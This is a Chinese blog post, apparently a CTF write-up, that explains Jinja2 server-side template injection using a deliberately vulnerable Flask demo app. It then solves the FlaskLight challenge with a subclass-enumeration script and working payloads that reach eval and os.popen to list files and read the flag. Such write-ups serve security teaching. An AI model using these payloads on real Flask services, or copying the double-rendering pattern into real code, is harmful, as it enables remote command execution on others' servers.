• 一道[CSCCTF 2019 Qual]FlaskLight的详解再遇SSTI


    目录

    SSTI

    无二次渲染的示例

    存在二次渲染的示例

    漏洞复现

    [CSCCTF 2019 Qual]FlaskLight


    做这道题的时候,再次深入了解了一下SSTI,不过发现去讲解这题原理的文章实在是太少了,额也有可能是大佬觉得没有必要讲,不过在这里还是记录一下自己的一些解题思路,一方面也是防止自己忘记。文章会以简单容易理解的方式去理解SSTI的成因,不会设计一些复杂的问题但是还是需要拥有一些python的基础知识的,如有错误,欢迎指正

    SSTI

    服务器端模板注入(Server-Side Template Injection)

    漏洞的主要产生点就是网页模板中的变量被二次渲染时造成的漏洞,服务端接收了用户的恶意输入后,在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,如信息泄露,命令执行,获取权限等等

    JinJia模板引擎特点

    • {{ ... }}:装载一个变量,模板渲染时,会使用传进来的通命名参数将代表的值替换

    • {% ... %}:装载一个控制语句

    • {# ... #}:装载一个注释,模板渲染的时候会忽视这个值

    无二次渲染的示例:

    1. # 无二次渲染
    2. from flask import *
    3. app = Flask(__name__)
    4. @app.route('/')
    5. def index():
    6. str = request.args.get('s')
    7. html = '

      welcome


      {{str}}

      '
    8. return render_template_string(html, str=str)
    9. if __name__ == '__main__':
    10. app.run()

    以上代码中见到的@app.route(’/’),相当于一个路径,设置后,在url后面加上/user就可以访问了,

    每一个route后面都必须由一个def函数存在

    在pycharm中右击运行

    右击运行,以get方式传入参数s,s的值为{{2*2}}

    访问pycharm开启的URL,如下图,{{2*2}}被打印,代码没有被执行

    存在二次渲染的示例:

    1. # 有二次渲染
    2. from flask import *
    3. app = Flask(__name__)
    4. @app.route('/')
    5. def index():
    6. str = request.args.get('s')
    7. html = '

      welcome


      %s

      '
      %(str)
    8. return render_template_string(html)
    9. if __name__ == '__main__':
    10. app.run()

    右击运行,用get方式传入s的值,{{2*2}}代码被执行,2如下图,乘以2的结果为4

    例如:{{}}在Jinja2中作为变量包裹标识符,在渲染的时候会把{{}}包裹的内容当做变量解析替换,

    比如{{2*2}}会被解析成4

    如果在某个页面中找到了如上所示的SSTI漏洞,那么我们可以利用这个注入点,通过s传参,执行

    模板引擎的控制语句以及命令

    基本思路:利用python中的魔术方法找到所需的函数

    当然凡是使用模板的地方都可能会出现SSTI 的问题,SSTI 不属于任何一种语言


    漏洞复现

    ''.__class__  

    ''的类型是str类型,调用__class__,指向变量所属的类,格式为"变量.__class__"

    ''.__class__.__mro__ 

    由于''为str类型,通过str寻找当前类对象的所有继承类,当然__mro__不是唯一的方法,如__base__同样也可以寻找,但是只能找上一层的父类,如果被找的类型不止一个父类的话,就得通过很多个base去找 

    ''.__class__.__mro__[1].__subclasses__()  

     __class__.__mro__以元组形式返还了两个关系,,我们通过索引获取后面的object,再通过__subclasses__找到object对象下的所有子类,当然同样可以通过__class__.__base__.__subclasses__()寻找

    这里我利用的是os模块,也就是subclasses()的第133个索引位,如下图

    ''.__class__.__mro__[1].__subclasses__()[133]

    通过索引获取

    ''.__class__.__mro__[1].__subclasses__()[133].__init__

    通过__init__初始化类,查看是否有重载,出现wrapper说明已经被重载了 

    ''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__

    通过__globals__寻找所有的方法及变量及参数 

    ''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']

    以上找出了很多的全局变量,以字典的形式输出,这里用'__builtion__'做演示 

    ''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']

    以上全局变量包含eval,利用eval再通过popen执行命令,如果使用system之类的函数,可能照成不会回显,所以用popen是首选 

    ''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ipconfig').read()")

    命令执行ipconfig
    简单来说,和SQL注入很像,循环渐进,找到库名,找表名,找到表名找字段等等,SSTI先找到父类,然后找父类下的子类,初始化后看看是否重载,再通过全局变量找到特定函数进行执行命令 


    [CSCCTF 2019 Qual]FlaskLight

    这道题的漏洞点非常明显,一个是通过题目其实可以猜到这是一道SSTI的题型了,源码也给出了

    提示,通过get类型,以search传值

    既然目标明确了,那么首先调用class

    /?search={{''.__class__}}

    通过str寻找当前类对象的所有继承类

    /?search={{''.__class__.__mro__}}

    以元组形式返还了三个关系,, ,通过索引获取后

    面的object,再通过subclasses找到object对象下的所有子类  

    /?search={{''.__class__.__mro__[2].__subclasses__()}}

    那么问题来了,眼前有这么多的子类,如何知道哪一个可以被我们利用并且成功命令执行呢,在第

    一个例子里,我们通过globals全局变量获取了builtins,利用eval成功命令执行,那么是否可以编写

    一个脚本批量寻找builtins,利用返回的状态码判断哪个子类可以被我们使用  

    1. import requests
    2. url = 'http://c77cb43a-a5f0-44dd-bc75-7e531b6a69e5.node4.buuoj.cn:81'
    3. for i in range(1, 100):
    4. payload = "/?search={{''.__class__.__mro__[2].__subclasses__()["+str(i)+"].__init__['__glo'+'bals__']}}"
    5. newurl = url + payload
    6. res = requests.get(url=newurl + payload)
    7. if 'builtins' in res.text:
    8. print(newurl)
    9. else:
    10. pass

    执行结果如下:

    那么,payload就显而易见了,利用builtins的eval执行任意命令

    /?search={{''.__class__.__mro__[2].__subclasses__()[76].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

    查看flag,一开始我还以为flag在app.py文件里,以为flag形式改了,真的无语

    /?search={{''.__class__.__mro__[2].__subclasses__()[76].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}

  • 相关阅读:
    CAD如何绘制六连环图案?CAD使用圆,椭圆,直线综合练习
    【前端设计模式】之外观模式
    Linux操作系统第一讲
    多路IO复用--epoll
    面试题005-Java-JVM(上)
    测试工具链
    图像处理与计算机视觉--第五章-图像分割-霍夫变换
    5个免费样机素材网站,设计必备,赶紧马住!
    2022Nginx入门教程,图文超详细
    为什么亚马逊卖家一定要有独立站?新手低成本快速搭建跨境电商独立站完整图文教程
  • 原文地址:https://blog.csdn.net/qq_58784379/article/details/126063003